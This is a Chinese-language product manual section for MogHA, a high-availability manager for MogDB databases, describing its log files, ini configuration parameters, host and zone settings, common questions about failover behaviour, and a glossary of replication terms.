``` 8. 日志文件 MogHA 会生成两个日志文件: mogha_heartbeat.log 这个日志文件会存放在安装目录中,在本示例中为 /home/omm/mogha,这个日志主要记录HA的心跳日志,也是排查问题主要的优先检查的日志文件。 mogha_web.log 这个日志文件存放目录和心跳日志相同。这个日志主要记录 web api 接口的请求日志。 三、 配置文件 1. 配置文件 MogHA 配置文件会在执行 install.sh 脚本时根据模板(node.conf.tmpl)自动生成,配置文件名为:node.conf,如果安装目录中已存在 node.conf 文件,则会跳过自动生成。配置文件格式采用 ini 格式 规则编写 ini文件由节、键、值组成。 节 :[section] 参数(键=值) :name=value 注解 :注解使用分号(;)或井号()表示,在分号或井号后面的文字,直到该行结尾都全部为注解。 2. 参数的键和值 **所有的参数键均采用小写的蛇形命名规则定义,每个参数根据不同用途,可以接受布尔、字符串、整数这三种类型之一:** 布尔:值可以写 on, off, true, false, yes, no, 1, 0 (都是大小写不敏感的) 字符串:值即为字符串字面量,无需使用引号包裹 整数:直接填写数字,无需使用引号包裹 3. 基础配置项 db_port (整数) 数据库端口,用于 MogHA 连接数据库 db_user (字符串) 数据库用户,用于 MogHA 连接和操作管理数据库,默认使用安装时执行 install.sh 脚本指定的系统用户名 db_datadir (字符串) 数据库的数据目录 primary_info (字符串) MogHA 主备元数据的存储路径,默认值为安装目录下 primary_info 文件,支持 json 和 二进制存储,通过 meta_file_type 配置 standby_info (字符串) MogHA 备元数据的存储路径,默认值为安装目录下 standby_info 文件,支持 json 和 二进制存储,通过 meta_file_type 配置 meta_file_type(字符串) 元数据存储格式,默认 json,支持两种格式json(值为:json)和二进制(值为:bin)。 lite_mode (布尔) 是否为lite 模式,默认为 True。MogHA 通过该参数来区分 lite 模式:顾名思义,代表轻量级调度模式,lite 模式仅需要在主库和同步备库所在的服务器上启动 MogHA 服务。该模式下适用于1主1从部署结构或1主多从情况下仅在主和同步备部署MogHA的场景。 非lite 模式:该模式下,需要运维人员在 node.conf 配置文件中,配置所有期望管理的服务器信息。同时,需要在所有配置的实例机器上运行 MogHA 服务。该模式下,在主库故障需要切换时,会在zone1/zone2 (同城)机房内选择最优备库进行切换,且自动修改主备实例的 repliconninfo 配置信息。 切换时备库选择策略: 如果主机房(zone1)内有同步备,优先切换到同机房同步备; 如果同机房没有同步备,同城机房(zone2) 内有同步备,会切到同城的同步备; agent_port (整数)
MogHA节点之间通信端口,如果有防火墙,需要配置互通。默认:8081
http_req_timeout (整数)
MogHA 节点间通信请求超时时间(单位:秒),默认:3
heartbeat_interval (整数)
MogHA 心跳间隔(单位:秒),默认:3
primary_lost_timeout (整数) 备库确认主库丢失的探测超时时间(单位:秒),默认:10。当备库无法 ping 通主库,但是可以 ping 通网关或者其他节点时,认为主库丢失(离线),当持续时间超过超时时间,备库就会发起故障切换,提升为主库。 primary_lonely_timeout (整数) 主库服务器上 MogHA 判断当前机器是否处于孤单(网络隔离)的超时时间(单位:秒),当无法ping 通任何其他机器时,认为当前机器网络故障。当持续时间超过超时时间,MogHA 会下掉虚拟IP(如果有),关闭当前实例。 double_primary_timeout (整数) 主库服务器上 MogHA 在每轮检测心跳期间,都会监控当前集群中是否存在另外一个主库实例。发现后,表示当前集群存在双主的异常情况。如果双主状态持续时间超过该超时时间,进入自主选主。 taskset (布尔) 是否为数据库实例进程设置 CPU 亲和性,默认:False。当该字段设置为 True 时,会遵循如下规则进行CPU限制:获取当前机器的CPU核数,假设为 N 当 N = 16 时,设置数据库进程可用 CPU 数为 N-4个 当 8 <= N <16时,设置数据库进程可用 CPU 数为 N-2 个 当 1 < N < 8 时,设置数据库进程可用 CPU 数为 N-1 个 当 N = 1时,不做限制 logger_format (字符串) 日志格式,默认:%(asctime)s %(levelname)s [%(filename)s:%(lineno)d]: %(message)s更多字段请参考 python3 logging logrecord-attributes log_dir (字符串) 日志存储目录,默认为安装目录 log_max_size (字符串) 单个日志文件最大字节数,接近该值时,将发生日志滚动。默认:512MB,支持的单位:KB, MB, GB (忽略大小写) log_backup_count (整数) 日志留存的文件个数,默认:10 allow_ips (字符串) 允许外部可请求 MogHA 集群 HTTP API 的IP列表,英文逗号分割填写 handle_down_primary (布尔) 检测到主库进程宕机时,MogHA 是否需要处理(重启或切换),默认:True。该参数是 primary_down_handle_method 参数生效的前提 handle_down_standby (布尔) 检测到备库进程宕机时,MogHA 是否需要拉起 primary_down_handle_method (字符串) 主库进程未启动时,MogHA 的处理方式,默认:restart。支持重启(值:restart)和切换(值:failover)当该参数的值为 restart 时,需配置restart_strategy 参数使用。 restart_strategy (字符串) 重启实例进程最大尝试边界,格式为 最大次数/超时分钟 ,其中两个值均可限定尝试重启的终止。默认:10/3假设该参数为 10/3 ,则表示最多尝试重启数据库10次或者重启超时时间为3分钟,任何一个条件先满足就终止尝试重启,进入故障切换。 uce_error_detection (布尔) UCE(uncorrected error)故障感知功能,默认:TrueUCE错误:数据库内核进程在收到系统内核的一些特定的 sigbus 信号错误时,比如内存坏块等,内核会进行优雅停止,将错误码写入数据库日志中后退出进程。而坏的内存块会被系统内核标记,以后就不会被再次分配给应用程序,所以当出现该错误时,直接重启数据库进程即可恢复服务。 uce_detect_max_lines (整数) UCE错误检查时,从后向前读取数据库日志的行数,默认:200 debug_mode (布尔) 调试模式,开启后,MogHA 打印日志的级别将降为 DEBUG,输入更多运行日志。默认:False 4. 元数据库(可选)默认无需配置 MogHA 保留元数据库存储的功能,便于第三方监控系统读取数据库集群状态。但MogHA 不依赖元数据库做逻辑判断,如果配置了该部分字段,MogHA 在运行期间会同步输出元数据信息到元数据库中。 5. 配置项ha_name (字符串) MogHA集群名,全局唯一,禁止两套HA集群共用一个名字 host (字符串) 元数据库的机器IP port (整数) 元数据库连接端口 db (字符串) 元数据库数据库名 user (字符串) 元数据库连接用户名 password (字符串) 元数据库连接用户密码 connect_timeout (整数) 元数据库连接超时时间(单位:秒),默认:3 6. 机器配置host1 到 host9 分别代表不同的数据库实例所在的机器。 下面以 host1 为例介绍参数字段,其他相同。```s
[host1]
ip=
heartbeat_ips=
```
ip (字符串) 机器的业务网卡IP heartbeat_ips (字符串) 机器的心跳网卡,一般内网使用,该字段为选填项,作为业务网卡故障时,MogHA 节点间通信的候选网卡。如果有多个心跳IP,以英文逗号分隔连接填写即可 7. 机房配置zone1 到 zone3 分别代表主机房,同城备机房,异地机房。 下面以 zone1 为例介绍参数字段,其他相同。```s
[zone1]
vip=
hosts=
ping_list=
cascades=
arping=
``` vip (字符串) 当前机房的虚拟IP,如果存在,MogHA 会自动将该虚拟挂载到本机房内主库所在的机器上,没有则留空。 hosts (字符串) 当前机房内的机器列表,值的内容为对应机器的节( section )名,多个机器以英文逗号分隔。比如:zone1 中有 host1 机器和 host2 机器,则该字段配置为:hosts=host1,host2 ping_list (字符串) 当前机房内用户判断机器网络是否正常的仲裁节点,一般可配置为机房的网关地址。允许配置多个仲裁IP,以英文逗号分隔。 cascades (字符串) 当前机房内的级联备库机器列表,值得内容和 hosts 相同,没有则留空。 arping (字符串) 广播地址,用于上线虚拟IP后的广播,没有则留空。 四、常见问题 为什么启动MogHA服务后,通过 ps -ef|grep mogha 会看到四个进程? MogHA是使用Python 语言进行开发的,由于Python的代码运行依赖于Python解释器和三方依赖包,为了减少部署时对于系统的过多要求,或者避免对于网络的依赖,MogHA 在发包的时候,采用了 Pyinstaller 工具来进行打包。由 Pyinstaller 打包后的执行文件在执行时,Pyinstaller 会启动一个清理进程,其余为我们实际的工作进程。mogha: watchdog 进程是 MogHA 的主进程监控所有子进程存活状态。mogha: heartbeat 进程是 MogHA 的心跳进程用于监控数据库进程及处理。mogha: http-server 进程是用于 MogHA 节点间通信的 HTTP 服务进程。 元数据库必须配置么? 非必须。 为什么主备的 MogHA 服务都启动了,主心跳日志还报找不到备库的错误? 请确认主备数据库所在服务器已经开启防火墙相应端口,或者禁用防火墙,确认 agent_port 端口可以正常访问。 MogHA的故障检测机制是什么方式的? 对于主库实例,分为实例状态检测,网络检测和双主检测三部分。实例状态检测是通过数据库管理工具探测,支持配置自动拉起宕机的实例,可配置拉起的次数和时间;网络检测是通过和其他实例以及网关的连通性检测判断网络是否隔离,可以配置检测超时时间,判断网络故障后会自杀;双主检测是通过集群多数派确定真主,两实例时,根据元数据的时间进行判断。对于备库实例,故障检测机制是和其他实例以及网关的连通性检测判断主库是否故障,可以配置检测超时时间。 MogHA 是怎样切换的? 主库检测到自己故障后,通过HTTP接口依据定义的切换顺序请求候选备库执行切换; 备库检测到主库故障后,依据定义的切换顺序自发的执行切换; 切换动作包含 failover 和挂载虚拟IP 主备同步复制环境中,如果无法联系到备库,主库会怎么处理以保证数据的一致性? 主备同步复制环境中,如果备库连接丢失,主库事务也会挂起,如果使用了最大可用模式,则会默认改为异步模式。 无论是同步复制还是异步复制,如果所有备库均已经故障,主库无法联系到任何一台备库,主备数据在此故障时间段就不存在一致性的说法了。但当备库恢复后,会告诉主库自己所需的起始LSN位置,获取到所有差异的WAL日志,并最终追平保持同步,主备数据仍然一致。 五、 名词表 高可用(HA:High Availability) 高可用指的是系统无中断地执行其功能的能力,代表系统的可用性程度,是进行系统设计时的准则之一。高可用性系统与构成该系统的各个组件相比可以更长时间运行。高可用性通常通过提高系统的容错能力来实现。 具体到数据库领域来说,高可用,概念上指一主一备或者一主多备情况下,当主库发生宕机,可以通过手动或者自动的主备角色切换,以降低数据库的不可服务时间,降低对于业务的影响。 主备 主备多用来用于数据库场景,比如:MogDB 主备,MySQL 主备等等。主备的概念用于有状态的应用服务。 主备即主库实例与备库实例,二者不共享数据文件,各自拥有独立的数据文件,主备之间通过数据操作日志进行数据同步,主库允许读写,而备库禁止写,但可以读,备库通过即时回放操作日志,保证数据视图延迟不会超过特定区间(通常为最新的数据事务)。 物理复制和逻辑复制 数据库存在物理复制(流复制)与逻辑复制。物理复制指的是,复制日志为 Redo (数据块变更记录),通过物理复制,可以从实例级复制出一个与主库一模一样的实例级的从库。物理复制同步方式有同步、异步两种。其目的是保证主备之间数据文件一致,最大化保护数据。逻辑复制传输的是逻辑操作日志,主备之间数据状态一致,但存储到磁盘上的数据文件不相同。相比较物理复制,逻辑复制更灵活,但在特定情况下,数据不一致的可能性大于物理复制。 同步流复制,异步流复制 异步流复制指主库上提交的事务不需要等待备库接收写入 WAL 日志时便返回成功响应,如果主库宕机,主库上已提交的事务可能还没来得及发给备库,就会造成数据丢失,备库丢失数量与 WAL 复制延迟有关,延迟越大,丢失越多。 同步流复制需要在主库提交事务时等待备库接受WAL 日志后,主库收到备库发回的确认信息才返回成功响应,这样就保证了数据的完整性,但增加了事务的响应时间,因此同步流复制吞吐量比异步流复制低。 Switchover switchover是指在主备机正常时,出于维护的需要,将备机切换为主机的行为,这样可保证切换过程中数据不丢失。 Failover failover 是指在主机异常时,将备机切换为主机的行为。